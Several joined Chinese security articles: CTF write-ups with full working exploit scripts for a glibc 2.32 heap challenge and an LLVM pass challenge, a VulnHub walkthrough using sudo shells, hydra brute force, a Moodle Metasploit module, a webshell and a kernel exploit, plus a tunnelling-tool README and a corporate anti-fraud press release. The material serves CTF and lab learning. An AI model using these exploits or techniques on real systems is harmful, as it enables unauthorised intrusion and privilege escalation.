中存放的仍是未经异或运算的原始 chunk 地址
## glibc2.32下堆基址的新泄露方式
虽然这种简单的异或加密方式给 tcache 提高了不少的安全系数，但是同样也提供给我们新的泄露堆基址的途径
我们不难观察到，在 tcache 的一个 entry 中放入第一个 chunk 时，其同样会对该 entry 中的 “chunk”
（NULL）进行异或运算后写入到将放入 tcache 中的 chunk 的 `fd` 字段，若是我们能够打印该 free chunk 的fd字段，
**便能够直接获得未经异或运算的堆上相关地址**
## back to VNCTF2021.ff
重新回到开头的这道题目，由于新机制的存在，若是我们想要通过 double free 进行任意地址写，则不仅需要清除 key
位，还需要获得堆基址，不过正如前面所讲到的，堆基址的泄露比以前更简单了些
但是本题只允许打印一次、编辑两次，后续的操作我们无疑还是需要泄露libc基址的，而打印的次数在泄露堆基址时已经用掉了
考虑到当我们将 tcache struct 送入 unsorted bin 中之后，其上会残留 main_arena + 0x60 的指针，而这个指针和
`stdout` 离得很近
那么我们同样可以以 1/16 的几率爆破到 stdout 后修改 `_IO_write_base` 的低字节为 `\x00` 后便有一定几率泄露出 libc
基址，具体的实现细节网上都有，就不在这里赘叙了
最终的exp如下：
from pwn import*
context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def cmd(command:int):
p.recvuntil(b">>")
p.sendline(str(command).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)
def free():
cmd(2)
def show():
cmd(3)
def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)
def exp(hit_byte):
new(0x80, b'arttnba3')
free()
show()
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
log.success('heap base: ' + hex(heap_base))
edit(b'arttnba3arttnba4')
free()
edit(p64(heap_leak ^ (heap_base + 0x10)))
new(0x80, b'arttnba3')
new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
free()
new(0x40, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x70, b'\x00')) # unknown reason, bigger than 0x48 will failed.
new(0x30, b'\x00'.ljust(0x30, b'\x00'))
new(0x10, p64(0) + b'\xc0' + p8(hit_byte * 0x10 + 6)) # 1/16 to hit stdout
new(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
libc_base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00')) - 0x1e4744
new(0x10, p64(libc_base + libc.sym['__free_hook']))
new(0x70, p64(libc_base + libc.sym['system']))
new(0x10, b'/bin/sh\x00')
free()
p.interactive()
if __name__ == '__main__':
count = 1
i = 0
while True:
try:
print('the no.' + str(count) + ' try')
print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
p = remote('node3.buuoj.cn', 26018)#process('./ff') #
exp(i)
except Exception as e:
print(e)
p.close()
i = i + 1
count = count + 1
i = i % 16
continue
运行即可get shell
> 爆破是真的很看脸…有的时候爆上百次都出不来…
## what’s more?
在 `fastbin` 中似乎也引入了这个机制，但是在普通的 `bins` 数组中似乎并未引入这个机制…？（研究ing
待补充… | 社区文章 |
> 这是LLVM PASS PWN的第三篇，这里笔者将记录学习强网杯2022 yakagame这道LLVM PASS PWN题
之前的文章链接：
* [LLVM PASS PWN (一)](https://xz.aliyun.com/t/11762)
* [LLVM PASS PWN (二)](https://xz.aliyun.com/t/11768)
# LLVM PASS PWN (三)
## 逆向分析
下载后发现了三个文件`opt-8 readme.md yaka.so`，先读一下readme.md
you can upload your exp code and when you think your exp code is good,just attack it
'''bash
opt-8 -load ./yaka.so -ayaka ./exp.ll
'''
will execte
和CISCN 2021 satool一样给出了运行格式
直接拿yaka.so文件进行逆向分析，和之前一样直接去找重写`runOnFunction`函数，在vtable最后
跟进这个函数
和上一篇一样的思路，开启调试，前面经过笔者的分析之后发现PASS会对gamestart这个函数进行优化，exp.c首先如下
#include <stdio.h>
int gamestart(){
return 0;
}
成功跑进，但是跑一会之后直接brek退出程序了，原因和上一篇一样，测试程序直接return 0了，所以我们往下看一下有没有功能处理
找到了一个fight处理函数，值得注意的是下面还有个地方调用了backdoor函数，但是需要score大于0x12345678，getNumOperands返回的是被调用函数的参数个数+1，验证一下即可
#include <stdio.h>
void fight(int a){
}
void gamestart(){
fight(1);
}
验证之后的确是这样的，接着往下看ZExtValue其实就是weaponlist的索引，会从weapon_list中取出对应索引的值，然后与boss进行比较
如果大于等于boss则win，并获得分数，如果小于boss则loss，最后如果分数大于0x12345678则进backdoor，继续看下面的功能函数
首先是merge，merge有两个参数，取出两个参数，并找到对应的weaponlist的值然后相加
然后是destroy，destroy有一个参数，取出参数，将对应的weaponlist的值改为0
接着是upgrade，有一个参数，然后weaponlist里面的每个值都加上一参
上面对cmd进行了异或，加，减，cmd是backdoor里面system的参数，但是是乱码，这说明我们可以使用这些函数将cmd构造成想要的东西然后跳转执行bk
如果函数名不是上面所说的那就会跳转到这里进行处理，需要一参，这里直接看太难了，上动态调试，exp.c如下
#include <stdio.h>
void fight(int a){
}
void merge(int a, int b){
}
void destroy(int a){
}
void upgrade(int a){
}
void wuxiangdeyidao(){
}
void zhanjinniuza(){
}
void guobapenhuo(){
}
void tiandongwanxiang(){
}
void z1r001(int a){
}
void gamestart(){
z1r001(1);
}
首先会遍历map查找是否有这个函数名，如果遇到不认识的函数就会用`funMap`存起来，如下可以看见z1r001函数已经被存放到funmap中
那遇见已经被funmap存起来的的函数名会怎么办，继续调试，exp.c如下
#include <stdio.h>
void fight(int a){
}
void merge(int a, int b){
}
void destroy(int a){
}
void upgrade(int a){
}
void wuxiangdeyidao(){
}
void zhanjinniuza(){
}
void guobapenhuo(){
}
void tiandongwanxiang(){
}
void z1r001(int a){
}
void z1r002(int a){
}
void z1r003(int a){
}
void gamestart(){
z1r001(1);
z1r001(1);
z1r001(1);
z1r001(1);
z1r001(1);
}
一参已经放入weaponlist中了，但是这么多一样的函数名的一参却只占用本来应该占用的位置，并不会继续往下添加，经过调试分析之后发现只能写到对应的位置，所以想要继续往下填weaponlist的值就得用不一样的函数名，更加需要注意的是函数名不能乱，遍历的时候是按照函数名大小遍历的
## 漏洞利用
至此逆向分析结束，那漏洞点出在哪里呢，如下，v33是有符号char类型的，有符号char类型的范围是`-128 ~ +127`
如果v33为127的时候，再加上1，那么v33不会是128而是-128，再加的时候则是-127，看一下weaponlist旁边有没有什么敏感的数据
看到了score，之前分析过score大于0x12345678的时候会调用backdoor，所以我们可以利用漏洞加到-0x10这个位置将score给改成一个指向特别大的地址的地址，所以我们可以先写一个程序批量生成128
* 2个从小到大的函数名，这样可以直接负数溢出完score的位置，并给里面的值都赋上0
for i in range(128 * 2):
print('void z1r0{0:003}'.format(i) + '(int a){}')
for i in range(128 * 2):
print('z1r0{0:003}'.format(i) + '(0);')
接着算一下score在哪里255是-1，所以240是-0x10，从240开始改一个字节一个字节的改score，score可以改成什么呢，因为opt-8没有开pie所以我们可以改score为一个got表地址，这样子的话score指向的地址的内容就大于0x12345678了
最后想起来cmd需要解密一下，但是我们还有另一种方法，因为我们可以控制cmd，所以我们可以打cmd为sh，可以直接ropgadget获得sh的地址
最终可以执行到system("sh");
exp如下
#include <stdio.h>
void fight(int a){
}
void merge(int a, int b){
}
void destroy(int a){
}
void upgrade(int a){
}
void wuxiangdeyidao(){
}
void zhanjinniuza(){
}
void guobapenhuo(){
}
void tiandongwanxiang(){
}
void z1r0000(int a){}
void z1r0001(int a){}
void z1r0002(int a){}
void z1r0003(int a){}
void z1r0004(int a){}
void z1r0005(int a){}
void z1r0006(int a){}
void z1r0007(int a){}
void z1r0008(int a){}
void z1r0009(int a){}
void z1r0010(int a){}
void z1r0011(int a){}
void z1r0012(int a){}
void z1r0013(int a){}
void z1r0014(int a){}
void z1r0015(int a){}
void z1r0016(int a){}
void z1r0017(int a){}
void z1r0018(int a){}
void z1r0019(int a){}
void z1r0020(int a){}
void z1r0021(int a){}
void z1r0022(int a){}
void z1r0023(int a){}
void z1r0024(int a){}
void z1r0025(int a){}
void z1r0026(int a){}
void z1r0027(int a){}
void z1r0028(int a){}
void z1r0029(int a){}
void z1r0030(int a){}
void z1r0031(int a){}
void z1r0032(int a){}
void z1r0033(int a){}
void z1r0034(int a){}
void z1r0035(int a){}
void z1r0036(int a){}
void z1r0037(int a){}
void z1r0038(int a){}
void z1r0039(int a){}
void z1r0040(int a){}
void z1r0041(int a){}
void z1r0042(int a){}
void z1r0043(int a){}
void z1r0044(int a){}
void z1r0045(int a){}
void z1r0046(int a){}
void z1r0047(int a){}
void z1r0048(int a){}
void z1r0049(int a){}
void z1r0050(int a){}
void z1r0051(int a){}
void z1r0052(int a){}
void z1r0053(int a){}
void z1r0054(int a){}
void z1r0055(int a){}
void z1r0056(int a){}
void z1r0057(int a){}
void z1r0058(int a){}
void z1r0059(int a){}
void z1r0060(int a){}
void z1r0061(int a){}
void z1r0062(int a){}
void z1r0063(int a){}
void z1r0064(int a){}
void z1r0065(int a){}
void z1r0066(int a){}
void z1r0067(int a){}
void z1r0068(int a){}
void z1r0069(int a){}
void z1r0070(int a){}
void z1r0071(int a){}
void z1r0072(int a){}
void z1r0073(int a){}
void z1r0074(int a){}
void z1r0075(int a){}
void z1r0076(int a){}
void z1r0077(int a){}
void z1r0078(int a){}
void z1r0079(int a){}
void z1r0080(int a){}
void z1r0081(int a){}
void z1r0082(int a){}
void z1r0083(int a){}
void z1r0084(int a){}
void z1r0085(int a){}
void z1r0086(int a){}
void z1r0087(int a){}
void z1r0088(int a){}
void z1r0089(int a){}
void z1r0090(int a){}
void z1r0091(int a){}
void z1r0092(int a){}
void z1r0093(int a){}
void z1r0094(int a){}
void z1r0095(int a){}
void z1r0096(int a){}
void z1r0097(int a){}
void z1r0098(int a){}
void z1r0099(int a){}
void z1r0100(int a){}
void z1r0101(int a){}
void z1r0102(int a){}
void z1r0103(int a){}
void z1r0104(int a){}
void z1r0105(int a){}
void z1r0106(int a){}
void z1r0107(int a){}
void z1r0108(int a){}
void z1r0109(int a){}
void z1r0110(int a){}
void z1r0111(int a){}
void z1r0112(int a){}
void z1r0113(int a){}
void z1r0114(int a){}
void z1r0115(int a){}
void z1r0116(int a){}
void z1r0117(int a){}
void z1r0118(int a){}
void z1r0119(int a){}
void z1r0120(int a){}
void z1r0121(int a){}
void z1r0122(int a){}
void z1r0123(int a){}
void z1r0124(int a){}
void z1r0125(int a){}
void z1r0126(int a){}
void z1r0127(int a){}
void z1r0128(int a){}
void z1r0129(int a){}
void z1r0130(int a){}
void z1r0131(int a){}
void z1r0132(int a){}
void z1r0133(int a){}
void z1r0134(int a){}
void z1r0135(int a){}
void z1r0136(int a){}
void z1r0137(int a){}
void z1r0138(int a){}
void z1r0139(int a){}
void z1r0140(int a){}
void z1r0141(int a){}
void z1r0142(int a){}
void z1r0143(int a){}
void z1r0144(int a){}
void z1r0145(int a){}
void z1r0146(int a){}
void z1r0147(int a){}
void z1r0148(int a){}
void z1r0149(int a){}
void z1r0150(int a){}
void z1r0151(int a){}
void z1r0152(int a){}
void z1r0153(int a){}
void z1r0154(int a){}
void z1r0155(int a){}
void z1r0156(int a){}
void z1r0157(int a){}
void z1r0158(int a){}
void z1r0159(int a){}
void z1r0160(int a){}
void z1r0161(int a){}
void z1r0162(int a){}
void z1r0163(int a){}
void z1r0164(int a){}
void z1r0165(int a){}
void z1r0166(int a){}
void z1r0167(int a){}
void z1r0168(int a){}
void z1r0169(int a){}
void z1r0170(int a){}
void z1r0171(int a){}
void z1r0172(int a){}
void z1r0173(int a){}
void z1r0174(int a){}
void z1r0175(int a){}
void z1r0176(int a){}
void z1r0177(int a){}
void z1r0178(int a){}
void z1r0179(int a){}
void z1r0180(int a){}
void z1r0181(int a){}
void z1r0182(int a){}
void z1r0183(int a){}
void z1r0184(int a){}
void z1r0185(int a){}
void z1r0186(int a){}
void z1r0187(int a){}
void z1r0188(int a){}
void z1r0189(int a){}
void z1r0190(int a){}
void z1r0191(int a){}
void z1r0192(int a){}
void z1r0193(int a){}
void z1r0194(int a){}
void z1r0195(int a){}
void z1r0196(int a){}
void z1r0197(int a){}
void z1r0198(int a){}
void z1r0199(int a){}
void z1r0200(int a){}
void z1r0201(int a){}
void z1r0202(int a){}
void z1r0203(int a){}
void z1r0204(int a){}
void z1r0205(int a){}
void z1r0206(int a){}
void z1r0207(int a){}
void z1r0208(int a){}
void z1r0209(int a){}
void z1r0210(int a){}
void z1r0211(int a){}
void z1r0212(int a){}
void z1r0213(int a){}
void z1r0214(int a){}
void z1r0215(int a){}
void z1r0216(int a){}
void z1r0217(int a){}
void z1r0218(int a){}
void z1r0219(int a){}
void z1r0220(int a){}
void z1r0221(int a){}
void z1r0222(int a){}
void z1r0223(int a){}
void z1r0224(int a){}
void z1r0225(int a){}
void z1r0226(int a){}
void z1r0227(int a){}
void z1r0228(int a){}
void z1r0229(int a){}
void z1r0230(int a){}
void z1r0231(int a){}
void z1r0232(int a){}
void z1r0233(int a){}
void z1r0234(int a){}
void z1r0235(int a){}
void z1r0236(int a){}
void z1r0237(int a){}
void z1r0238(int a){}
void z1r0239(int a){}
void z1r0240(int a){}
void z1r0241(int a){}
void z1r0242(int a){}
void z1r0243(int a){}
void z1r0244(int a){}
void z1r0245(int a){}
void z1r0246(int a){}
void z1r0247(int a){}
void z1r0248(int a){}
void z1r0249(int a){}
void z1r0250(int a){}
void z1r0251(int a){}
void z1r0252(int a){}
void z1r0253(int a){}
void z1r0254(int a){}
void z1r0255(int a){}
void gamestart(){
//decode
tiandongwanxiang();
wuxiangdeyidao();
zhanjinniuza();
guobapenhuo();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
tiandongwanxiang();
wuxiangdeyidao();
zhanjinniuza();
z1r0000(0);
z1r0001(0);
z1r0002(0);
z1r0003(0);
z1r0004(0);
z1r0005(0);
z1r0006(0);
z1r0007(0);
z1r0008(0);
z1r0009(0);
z1r0010(0);
z1r0011(0);
z1r0012(0);
z1r0013(0);
z1r0014(0);
z1r0015(0);
z1r0016(0);
z1r0017(0);
z1r0018(0);
z1r0019(0);
z1r0020(0);
z1r0021(0);
z1r0022(0);
z1r0023(0);
z1r0024(0);
z1r0025(0);
z1r0026(0);
z1r0027(0);
z1r0028(0);
z1r0029(0);
z1r0030(0);
z1r0031(0);
z1r0032(0);
z1r0033(0);
z1r0034(0);
z1r0035(0);
z1r0036(0);
z1r0037(0);
z1r0038(0);
z1r0039(0);
z1r0040(0);
z1r0041(0);
z1r0042(0);
z1r0043(0);
z1r0044(0);
z1r0045(0);
z1r0046(0);
z1r0047(0);
z1r0048(0);
z1r0049(0);
z1r0050(0);
z1r0051(0);
z1r0052(0);
z1r0053(0);
z1r0054(0);
z1r0055(0);
z1r0056(0);
z1r0057(0);
z1r0058(0);
z1r0059(0);
z1r0060(0);
z1r0061(0);
z1r0062(0);
z1r0063(0);
z1r0064(0);
z1r0065(0);
z1r0066(0);
z1r0067(0);
z1r0068(0);
z1r0069(0);
z1r0070(0);
z1r0071(0);
z1r0072(0);
z1r0073(0);
z1r0074(0);
z1r0075(0);
z1r0076(0);
z1r0077(0);
z1r0078(0);
z1r0079(0);
z1r0080(0);
z1r0081(0);
z1r0082(0);
z1r0083(0);
z1r0084(0);
z1r0085(0);
z1r0086(0);
z1r0087(0);
z1r0088(0);
z1r0089(0);
z1r0090(0);
z1r0091(0);
z1r0092(0);
z1r0093(0);
z1r0094(0);
z1r0095(0);
z1r0096(0);
z1r0097(0);
z1r0098(0);
z1r0099(0);
z1r0100(0);
z1r0101(0);
z1r0102(0);
z1r0103(0);
z1r0104(0);
z1r0105(0);
z1r0106(0);
z1r0107(0);
z1r0108(0);
z1r0109(0);
z1r0110(0);
z1r0111(0);
z1r0112(0);
z1r0113(0);
z1r0114(0);
z1r0115(0);
z1r0116(0);
z1r0117(0);
z1r0118(0);
z1r0119(0);
z1r0120(0);
z1r0121(0);
z1r0122(0);
z1r0123(0);
z1r0124(0);
z1r0125(0);
z1r0126(0);
z1r0127(0);
//-128
z1r0128(0);
z1r0129(0);
z1r0130(0);
z1r0131(0);
z1r0132(0);
z1r0133(0);
z1r0134(0);
z1r0135(0);
z1r0136(0);
z1r0137(0);
z1r0138(0);
z1r0139(0);
z1r0140(0);
z1r0141(0);
z1r0142(0);
z1r0143(0);
z1r0144(0);
z1r0145(0);
z1r0146(0);
z1r0147(0);
z1r0148(0);
z1r0149(0);
z1r0150(0);
z1r0151(0);
z1r0152(0);
z1r0153(0);
z1r0154(0);
z1r0155(0);
z1r0156(0);
z1r0157(0);
z1r0158(0);
z1r0159(0);
z1r0160(0);
z1r0161(0);
z1r0162(0);
z1r0163(0);
z1r0164(0);
z1r0165(0);
z1r0166(0);
z1r0167(0);
z1r0168(0);
z1r0169(0);
z1r0170(0);
z1r0171(0);
z1r0172(0);
z1r0173(0);
z1r0174(0);
z1r0175(0);
z1r0176(0);
z1r0177(0);
z1r0178(0);
z1r0179(0);
z1r0180(0);
z1r0181(0);
z1r0182(0);
z1r0183(0);
z1r0184(0);
z1r0185(0);
z1r0186(0);
z1r0187(0);
z1r0188(0);
z1r0189(0);
z1r0190(0);
z1r0191(0);
z1r0192(0);
z1r0193(0);
z1r0194(0);
z1r0195(0);
z1r0196(0);
z1r0197(0);
z1r0198(0);
z1r0199(0);
z1r0200(0);
z1r0201(0);
z1r0202(0);
z1r0203(0);
z1r0204(0);
z1r0205(0);
z1r0206(0);
z1r0207(0);
z1r0208(0);
z1r0209(0);
z1r0210(0);
z1r0211(0);
z1r0212(0);
z1r0213(0);
z1r0214(0);
z1r0215(0);
z1r0216(0);
z1r0217(0);
z1r0218(0);
z1r0219(0);
z1r0220(0);
z1r0221(0);
z1r0222(0);
z1r0223(0);
z1r0224(0);
z1r0225(0);
z1r0226(0);
z1r0227(0);
z1r0228(0);
z1r0229(0);
z1r0230(0);
z1r0231(0);
//-0x18
z1r0232(0xbd);
z1r0233(0xa4);
z1r0234(0x6e);
z1r0235(0);
z1r0236(0);
z1r0237(0);
z1r0238(0);
z1r0239(0);
//-0x10
z1r0240(0xf0);
z1r0241(0xde);
z1r0242(0x77);
z1r0243(0);
z1r0244(0);
z1r0245(0);
z1r0246(0);
z1r0247(0);
z1r0248(0);
z1r0249(0);
z1r0250(0);
z1r0251(0);
z1r0252(0);
z1r0253(0);
z1r0254(0);
//-1
z1r0255(0);
z1r0232(0xbd);
z1r0233(0xa4);
z1r0234(0x6e);
z1r0240(0xf0);
z1r0241(0xde);
z1r0242(0x77);
fight(0);
}
## 总结
总体来说题目不是太难，还是得动静结合进行分析，梳理出程序逻辑
## Reference
<https://blog.csdn.net/qq_54218833/article/details/126081315?spm=1001.2014.3001.5502> | 社区文章 |
# 渗透测试实战-lin.security靶机+Goldeneye靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好！爱写靶机渗透文章的我又来了，因为是在工作闲暇时间做的靶机解题，所以更新可能会比较慢，为什么这篇要2个靶机写在一起哪？还是一样因为第一个靶机比较简单故就和另外一个合并在一起发表了….
## 靶机安装/下载
lin.security靶机下载：<https://pan.baidu.com/s/1uP6eh57y93OfrpnVP7Vitw>
Goldeneye靶机下载：<https://pan.baidu.com/s/1dzs_qx-YwYHk-vanbUeIxQ>
lin.security靶机IP：192.168.0.108
DeRPnStiNK靶机IP：192.168.0.103
攻击者IP：192.168.0.104
## 实战
### 1\. lin.security靶机
先探测一下IP
老规矩nmap开路,个人习惯直接全端口….
可以看到开放了ssh服务，端口是 22
在该靶机的官网上给了我们一个测试账号，如图：
看到账号为： bob 密码为：secret
我们使用该账号试着登录ssh看看，如图：
可以看到已经成功登录了，下一步我们就是走流程提权了，
小弟这里只是简单的探测和搜索，因为该靶机使用了最新版的ubuntu系统版本故未发现对应版本的可提权工具，那么说明该靶机提权的突破口不是这个，
下面还是继续走流程输入 “sudo -l” 看看有没有说明发现
相信看到上面的返回结果，聪明的你肯定已经知道该怎么继续了，没错，该靶机比较简单有多个提权方法，本次演示2个，各位大佬们可以私底下再多试试其他方法：
1\. 直接命令：“sudo ash” 回车
成功拿到root权限
2\. 直接命令：“sudo bash” 回车
成功拿到root权限
该靶机完！是不是太简单了….
### 2\. Goldeneye靶机
看名字是不是很酷，007特工啊，优秀！
我们继续开始探测IP
老规矩nmap开路，个人习惯全端口
可以看到开放了4个端口，我们使用80端口做为突破口
访问首页一顿酷炫，感觉自己突然间变成了黑客….，天秀
通过上面的文字中可以看到让我们去访问 “/sev-home/” 目录，
访问该页面提示要输入账号密码,这么莉害？
小弟拼命去刷了4部的007(这就是偷懒的借口….)，其实这句是开玩笑的，根据经验这种情况基本上都藏在源码里或者调用的js文件里
调用了名为“terminal.js”文件，继续跟进发现密码默默的躺在那里….
通过解密密码为：InvincibleHack3r 帐号为：Boris
输入帐号密码后，成功登录：
界面一顿酷炫闪想，仿佛回到了当年的我大葬爱家族的辉煌时期….然后一激动手一抖右击查看网页源代码，发现了这个….
“Natalya” 和 “Boris” 2张帐号，估计上面的提示让我去pop3服务继续，通过上面的端口探测我们看到了 55006 和
55007端口，下面我们就破解一下这2个帐号的密码看看
本次测试小弟使用的hydra 来完成这个工作，如图：
当然您也可以使用MSF的模块来爆破，模块名：auxiliary/scanner/pop3/pop3_login 如图：
通过字典的爆破，我们已经成功爆破出这2个帐号的密码，分别为：
帐号：boris 密码： secret1! （注：后面有个感叹号）
帐号：Natalya 密码：bird
密码爆破出来了我们就去登录pop3吧，小伙伴们可以直接使用命令：
“nc 192.168.0.104 55007”
输入帐号密码来登录，如图：可以看到有3封邮件，为了直观性，小弟使用“Foxmail”来登录，设置如图：
同样的我们查看这2个用户的邮件往来，
其中在 “Natalya” 邮件里发现了突破口，如图：
帐号：xenia 密码：RCP90rulez!
在本地/etc/hosts 设置代理我们继续访问
我们继续查找这可疑内容，小弟翻了好久才找到一个可疑邮件
得到用户名：“doak”,我们继续爆破试试
得到密码：goat
使用帐号密码继续登录邮件，如图：
得到后台登录帐号密码：“dr_doak” “4England!”，退出“xenia”帐号试着登录新帐号
得到文件“s3cret.txt”
下载该jpg文件，并得到密文：“eFdpbnRlcjE5OTV4IQ==”
解密后密码为：“xWinter1995x!” 帐号为默认的 admin
成功登录后台：
该后台使用的是“moodle”cms搭建的，通过google发现其是有漏洞的，下一步我个人使用MSF来完成，
use exploit/multi/http/moodle_cmd_exec 如图：
（注：这里要特殊说明一下，该系统默认的设置是无法成功执行该漏洞模块的，小伙伴们需要先自行去后台设置才可，设置路径为：Plugins— Text
editors — TinyMCE HTML editor 在下拉选框中选择 “PSpellShell”，如图：
我也在这里卡了很久很久…. 最后分析了该模块的代码配合上谷歌才成功。）
最后通过该漏洞模块成功拿到shell
下一步就是提权，通过Ubuntu版本信息找到了可以提权的脚本，如图：
为了演示方便，小弟这里上了个php的大马，
在/tmp 目录下上传了37292.c这个文件，取名为“hack.c”，如图
下一步直接就是 gcc编译了，然而发现该靶机居然没装gcc …
然后小弟就一顿操作一顿谷歌，最后发现2种可以替代gcc提权的方法，分别为”cc”和“clang”,
下面小弟分别演示2种方法：
1\. clang 先修改提权源代码，如图：
成功提权
2\. cc 先修改提权源代码， 如图：
一样均能提权成功，最后我们就是拿flag了，如图：
## 结语
最后祝大家工作顺利，生活愉快！ | 社区文章 |
**项目地址** ：https://github.com/boywhp/fcn/
**项目作者** ：[boywhp](https://github.com/boywhp)
free connect your private network from anywhere
## 1\. fcn是什么
fcn[`free connect`]是一款傻瓜式的一键接入私有网络的工具, 由客户服务端和客户端组成
fcn使用fcn公网数据服务器以及数据加密技术，将用户客户端虚拟接入客户服务端私有网络
fcn = `fcn_server` \+ `fcn_client`
* download fcn_beta binary https://github.com/boywhp/fcn/releases/download/fcn_beta3/fcn_beta.zip
* fcn接入原理示意图
### fcn_server
目前支持linux x86 + x64平台，arm平台待支持中, 下一步考虑添加windows服务器接入支持
文件位置 | 描述
---|---
server_linux\ `server32` | 接入服务器x86平台bin
server_linux\ `server` | 接入服务器x64平台bin
server_linux\ `server.conf` | 服务器配置文件
### fcn_client
目前只支持windows x86/x64
文件位置 | 描述
---|---
client_windows\ `x86` | 接入客户端x86平台bin
client_windows\ `x64` | 接入客户端x64平台bin
## 2\. fcn使用
### 2.1 运行客户服务端
首先配置server.conf配置文件, 注意目前测试帐户 `FCN_0000-FCN_9999`, 每个帐户限速100KB/s
请用户随机挑选测试帐户，并且设置自己的唯一服务器名，以防止帐户冲突
文件位置 | 描述
---|---
[uid] | FCN_[0001-9999] 8字符用户ID *必填
[name] | 服务器名,程序通过该名称标示服务器, 同一个uid不可重复
[psk] | 连接密码, 建议不填, 由服务端启动时随机生成
[nat_nic] | 虚拟接入后连接的服务器网卡名, 建议不填
[dhcp_ip/dhcp_mask] | 虚拟接入后DHCP网段, 建议不填
ROOT权限运行
./server # 命令行形式直接运行,临时测试
nohup ./server & # 在后台运行
### 2.2 运行windows客户端
主界面添加服务器,填写对应的连接参数,连接,成功后,windows客户端即接入了服务器对应局域网
注:第一次连接时会自动安装虚拟网卡驱动,需用户确认同意
## 3\. fcn安全吗？
### 3.1 fcn通信安全机制
fcn使用了数字证书、tls以及aes 256bit加密技术，用户网络数据全程加密，5分钟左右自动更新会话密钥，确保用户数据不会被截获解密或者中间人欺骗。
fcn公网服务器不会收集用户的任何网络数据，后期考虑开放用户加密接口，以便用户实现自定义的端到端私有加密。
### 3.2 fcn本地安全
fcn二进制文件发布前经过针对性的混淆加密处理，尽可能防止用户的加密配置文件被黑客攻击解密。
### 3.3 fcn是专业软件
fcn软件作者是boywhp，从事网络安全行业多年，是看雪安全论坛（bbs.pediy.com）高级会员，在业界发表过多篇网络安全技术文章。
当然作者也深知在网络攻防上，没有绝对的安全，因此在这里还请各位同行手下留情。
* * * | 社区文章 |
# 正式授牌！无糖信息入选网络安全技术应用试点项目，持续践行遏制网络犯罪使命！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2月23日，工业和信息化部、四川省人民政府主办的 **“2023中国网络和数据安全产业高峰论坛”**
在成都市盛大开幕。“2022年网络安全技术应用试点示范项目授牌仪式”在主论坛隆重举行，此前 **成都无糖信息技术有限公司** （以下简称
**“无糖信息”** ）自主研发并成功入选“网络安全技术应用试点示范项目”的 **“自动化网络溯源反制平台”** 正式得到国家工信部授牌,
成为国家工信部重点推荐项目。
目前，电信网络新型违法犯罪案件呈现高发态势，基于互联网实施电信诈骗的方式多种多样，国内外的犯罪分子也会根据国内的反制手段的变化来改变诈骗的方式和工作模式。为应对电信诈骗模式的变化不断扩展新的技术手段，加强对新的诈骗活动的适应能力，需要在考量扩展性和延续性的基础上，快速形成反电信诈骗技术服务的能力。
涉诈线索发现溯源反制打击平台能够针对电信网络诈骗犯罪专业化、智能化、跨境化等特征，提供涉诈网站识别及监控、预警数据分析、案件研判一体化服务能力。为公安部门在预警防范、侦查破案提供多方位、深层次、多类型的情报信息及数据支持，助力公安机关形成反网络犯罪的打击能力。
##
## 多项核心功能,直击涉网案件反制痛点
### **案件自动化研判**
平台针对涉诈网站、涉诈APP，通过自动化方式进行多方面的数据获取和分析工作，可以自动分析网站和APP截图、SDK调用、APP网络请求、网站备案等线索信息。亦可通过模板excel文件提交案件数据，自动化提取并研判其中的网络流数据做到真正的全自动化案件数据分析研判，极大程度的节约用户挖掘涉案线索的时间。
并出具详细的网站、APP报告，呈现给用户进行分析研判。全面的分析报告将帮助用户快速捕捉涉诈网站、APP多个维度的情报信息。
### **APP取证分析**
平台可对用户上传的APP文件，通过沙盒模拟APP的安装使用流程，在此过程中动态分析捕获APP截图、网络请求、运行日志等。并可结合静态分析补充APP第三方SDK、权限申请、签名证书等信息。以此来帮助用户发现该应用APP存在的涉诈样本的网络请求及相关线索数据。
### **AI识别模型**
通过分析案件数据中样本数据，我们沉淀出了自研的视觉识别模型，将复杂的样本数据向量化。通过特征检索、关键点检测等技术做到“举一反三”的快速识别能力，极大程度上补充样本识别范围。
### **海量样本嗅察**
在海量数据处理过程中，不可否认会存在样本漏报、新兴样本无法识别的情况。为此本平台可以通过AI识别模型自动分析可疑样本并进行排序，用户上传数据后可通过“样本嗅察”功能，便捷查看聚类后的疑似样本。
同时本平台也可结合AI识别模型定时发现可疑族群样本，结合我司“阿斯巴甜攻防实验室”的能力快速发现互联网传播的新兴样本，目前该功能已为平台发现数百疑似族群，极大程度上补充了平台的识别能力。
平台用户也可以通过样本嗅察功能审核自己的海量数据，结合该功能可实现每人日均数万的样本审查量，也进一步有针对性地提高平台用户对新涉诈类型的预判能力。
### **涉诈线索图谱**
随着诈骗案件线索提取的日益复杂化、线索复杂、研判难度大的特点。平台基于自身的自动化研判能力，创新大数据使用手段。利用知识图谱展现形式，动态地、实时地挖掘涉诈样本的关联信息。平台可自动化研判出的网站、APP、备案、注册等人员类信息，自动根据数据间的实际关系构造大型知识图谱。
用户可通过平台使用涉诈知识图谱对案件内的元素数据进行深层次、多维度的拓扑分析和个案研判，以此发现案件直接或关联线索及团伙信息。同时，用户也可利用平台预先设定的自动研判规则，快速地查找指定路径的线索数据。目前本平台涉诈线索图谱规模已达：数亿条边、近亿个点。
涉诈线索发现溯源反制打击平台具有溯源追踪精准化、样本识别扩大化、关联线索图谱化、资源监控广泛化、复杂工作自动化、多维研判全面化等产品特点。目前已与合作公安机关广泛应用于
涉诈网址/APK发现与识别、现勘案件数据研判、本地窝点发现 等实际涉网犯罪案件研判打击流程中，目前已在全国多个合作公安单位展开应用。
**技术实力迈进,践行遏制网络犯罪使命**
